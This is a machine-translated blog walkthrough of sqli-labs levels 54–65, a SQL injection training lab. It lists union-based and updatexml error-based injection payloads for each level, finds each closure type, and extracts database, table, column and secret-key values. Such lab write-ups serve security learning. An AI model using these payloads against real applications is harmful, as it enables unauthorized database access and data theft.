当前位置:网站首页>sql-lab (54-65)
sql-lab (54-65)
2022-07-07 12:24:00 【hcjtn】
(54~60)
sql-lab-54
from 54 Turn off and start , The level began to be difficult
54 Off only allows us to enter statements ten times , After ten sentences, the range will check all the database names , Table name , Refresh the column name . So start from this level , All statements are for reference only .
First step , First judge the closing mode :
id=1 'and 1=2 --q
Page error reporting , So the closing method is Single quotation marks
The second step , Judge whether keywords are disabled
The third step Determine the construction idea of the injection statement
Should echo for this page, so use joint query
?id=-1’ union select 1,2,database() – q
The discovery library is named :challenges
?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q
Found table name is :ufka71dqts
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘ufka71dqts’-- q
Found column name is ::id,sessid,secret_JZU6,tryy
?id=-1 ’ union select 1,secret_JZU6,3 from ufka71dqts – q
The query is successful , Submit our query results to :Submit Secret Key
This problem has been successfully solved !
sql-lab-55
Judge the closure ,?id=1)and 1=1-- q
It is found that the closing mode is Brackets
Determine the construction idea of the injection statement
Should echo for this page, so use joint query
?id=-1)union select 1,2,database() – q
The discovery library is named :challenges
?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q
Found table name is :qbj8tdrlxb
?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘qbj8tdrlxb’-- q
Found column name is :id,sessid,secret_N7EM,tryy
?id=-1 )union select 1,secret_N7EM,3 from qbj8tdrlxb – q
The query is successful , Submit our query results to :Submit Secret Key
This problem has been successfully solved !
sql-lab-56
Judge the closure ,?id=1’)and 1=1-- q
Determine the construction idea of the injection statement
Should echo for this page, so use joint query
?id=-1’) union select 1,2,database() – q
The discovery library is named :challenges
?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q
Found table name is :okzcd5g9co
?id=-1’)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘okzcd5g9co’-- q
Found column name is ::id,sessid,secret_W8S8,tryy
?id=-1’)union select 1,secret_W8S8,3 from okzcd5g9co – q
The query is successful , Submit our query results to :Submit Secret Key
This problem has been successfully solved !
sql-lab-57
This question is the same as the previous question except for the closing method
Judge the closure ,?id=1"and 1=1-- q
sql-lab-58
First, judge whether it is closed ,?id=1’ and 1=1 – q
Then use the joint query to find that it cannot be used , Then we use error injection .
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
The discovery library is named :challenges
?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
Found table name is :20lvmztx1r
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘20lvmztx1r’ limit 0,1),0x7e),1)-- q
Found column name is :id,sessid,secret_X8WY,tryy
id=1’ and updatexml(1,concat(0x7e,(select secret_X8WY from 20lvmztx1r limit 0,1),0x7e),1)-- q
The query is successful ,
This problem has been successfully solved !
sql-lab-59
?id=1 and 1=2-- q
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fjwx950mdd’ limit 0,1),0x7e),1)-- q
id=1 and updatexml(1,concat(0x7e,(select secret_Z2BD from fjwx950mdd limit 0,1),0x7e),1)-- q
sql-lab-60
?id=1")and 1=2-- q
?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
?id=1") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘hmguhc8wji’ limit 0,1),0x7e),1)-- q
id=1") and updatexml(1,concat(0x7e,(select secret_0LPA from hmguhc8wji limit 0,1),0x7e),1)-- q
(61~65)
spl-lab-61
?id=1’))and 1=1-- q
?id=1’)) and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
?id=1’)) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
?id=1’)) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘qd5l9mppz3’ limit 0,1),0x7e),1)-- q
?id=1’)) and updatexml(1,concat(0x7e,(select secret_ZHCO from qd5l9mppz3 limit 0,1),0x7e),1)-- q
sql-lab-62~65
In this problem, we find that joint query and error reporting injection can't use anything
First judge the closing mode :
?id=1’)and 1=1-- q
Then use blind injection
It is suggested to write a blind note script .
Since then sql-lab It's over
边栏推荐
- Apache installation problem: configure: error: APR not found Please read the documentation
- [filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]
- SQL blind injection (WEB penetration)
- 金融数据获取(三)当爬虫遇上要鼠标滚轮滚动才会刷新数据的网页(保姆级教程)
- Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
- DOM parsing XML error: content is not allowed in Prolog
- Common locking table processing methods in Oracle
- 超标量处理器设计 姚永斌 第10章 指令提交 摘录
- (to be deleted later) yyds, paid academic resources, please keep a low profile!
- Introduction and application of smoothstep in unity: optimization of dissolution effect
猜你喜欢
idea 2021中文乱码
112. Network security penetration test - [privilege promotion article 10] - [Windows 2003 lpk.ddl hijacking rights lifting & MSF local rights lifting]
wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
"Series after reading" my God! It's so simple to understand throttling and anti shake~
[data clustering] realize data clustering analysis based on multiverse optimization DBSCAN with matlab code
Completion report of communication software development and Application
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]
Time bomb inside the software: 0-day log4shell is just the tip of the iceberg
Inverted index of ES underlying principle
《看完就懂系列》天哪!搞懂节流与防抖竟简单如斯~
随机推荐
关于 Web Content-Security-Policy Directive 通过 meta 元素指定的一些测试用例
MATLAB实现Huffman编码译码含GUI界面
30. Feed shot named entity recognition with self describing networks reading notes
Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
NGUI-UILabel
让数字管理好库存
《看完就懂系列》天哪!搞懂节流与防抖竟简单如斯~
Visual studio 2019 (localdb) \mssqllocaldb SQL Server 2014 database version is 852 and cannot be opened. This server supports version 782 and earlier
Niuke website
[filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation
什么是局域网域名?如何解析?
Introduction and application of smoothstep in unity: optimization of dissolution effect
Epp+dis learning road (2) -- blink! twinkle!
Problem: the string and characters are typed successively, and the results conflict
EPP+DIS学习之路(1)——Hello world!
Unity中SmoothStep介绍和应用: 溶解特效优化
盘点JS判断空对象的几大方法
Is it safe to open an account in Ping An Securities mobile bank?
Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
金融数据获取(三)当爬虫遇上要鼠标滚轮滚动才会刷新数据的网页(保姆级教程)